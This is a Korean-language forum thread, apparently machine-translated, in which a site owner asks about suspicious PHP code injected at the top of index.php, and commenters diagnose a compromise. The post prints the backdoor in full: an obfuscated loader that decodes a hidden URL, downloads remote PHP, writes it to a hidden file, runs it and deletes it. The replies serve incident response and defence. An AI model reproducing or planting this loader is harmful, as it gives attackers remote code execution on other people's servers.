2016-08-03 2 views
1

아무에게도 액세스 권한이없는 유일한 개발자이기 때문에 해커가 어떻게 든 PHP 파일에 쓸 수 있는지 궁금합니다. 필자는 index.php의 맨 위에있는이 PHP 코드 섹션을 보았습니다. 필자는 익숙하지 않았으며 직접 작성하지 않았습니다. 나는 무엇을 만들지, 그들의 시도가 어떤 것인지를 조금은 걱정한다. 어떤 조언을 주셔서 감사합니다.주입 해킹 php 악용 정보

<?php 
@ini_set('display_errors', '0'); 
error_reporting(0); 
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'md5'; 
$pass = "Zgc5c4MXrLUocQYT5ZtHJf/cM1fWdrpdmmSLH6uToRkH"; 
if (ini_get('allow_url_fopen')) { 
    function get_data_ya($url) { 
     $data = file_get_contents($url); 
     return $data; 
    } 
} 
else { 
    function get_data_ya($url) { 
     $ch = curl_init(); 
     curl_setopt($ch, CURLOPT_HEADER, 0); 
     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
     curl_setopt($ch, CURLOPT_URL, $url); 
     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); 
     $data = curl_exec($ch); 
     curl_close($ch); 
     return $data; 
    } 
} 
function wp_cd($fd, $fa="") 
{ 
    $fe = "wp_frmfunct"; 
    $len = strlen($fd); 
    $ff = ''; 
    $n = $len>100 ? 8 : 2; 
    while(strlen($ff)<$len) 
    { 
     $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n); 
    } 
    return $fd^$ff; 
} 
$reqw = $ay($ao($oa("$pass"), 'wp_function')); 
preg_match('#gogo(.*)enen#is', $reqw, $mtchs); 
$dirs = glob("*", GLOB_ONLYDIR); 
foreach ($dirs as $dira) { 
    if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; } 
    $subdirs = glob("$dira/*", GLOB_ONLYDIR); 
    foreach ($subdirs as $subdira) { 
     if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; } 
    } 
} 
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); } 
fwrite($hdl, "<?php\n$mtchs[1]\n?>"); 
fclose($hdl); 
include("{$eb}.$algo"); 
unlink("{$eb}.$algo"); 
?> 
+3

귀하의 서버가 도용 된 것으로 보입니다. 또한 코드가 일부 dir을 통해 반복되고 일부 파일에 내용을 쓰려고 시도하는 것처럼 보입니다. 백업을 복원하고 최신 업데이트를 먼저 설치합니다. – sietse85

+1

WordPress가 설치되어 있고 손상된 플러그인이나 불량배 플러그인을 설치 한 것 같습니다 :) – Bobot

답변

1

해커가 처음 액세스하는 방법을 찾을 수있을 때까지 사이트를 격리합니다. 그런 다음 문제를 해결하십시오. 이전 코드가 여전히 남아있는 경우 코드를 삭제해도 복귀하지 않습니다. 아마도 일부 불안전 한 워드 프레스 플러그인에서.

해커 코드와 관련하여 임의의 URL에서 크롤링하여 서버에 기록하는 것으로 보입니다.